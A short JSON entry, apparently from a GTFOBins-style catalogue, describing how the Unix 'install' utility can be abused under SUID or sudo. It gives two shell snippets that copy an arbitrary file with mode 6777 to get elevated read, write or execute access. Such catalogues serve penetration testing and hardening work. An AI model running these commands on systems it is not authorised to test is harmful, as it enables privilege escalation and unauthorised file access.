You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
16 lines
391 B
JSON
16 lines
391 B
JSON
{
|
|
"description": "This can be run with elevated privileges to change permissions ('6' denotes the SUID bits) and then read, write, or execute a copy of the file.",
|
|
"functions": {
|
|
"suid": [
|
|
{
|
|
"code": "TF=$(mktemp)\n./install -m 6777 [file] $TF\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "TF=$(mktemp)\nsudo install -m 6777 [file] $TF\n"
|
|
}
|
|
]
|
|
}
|
|
}
|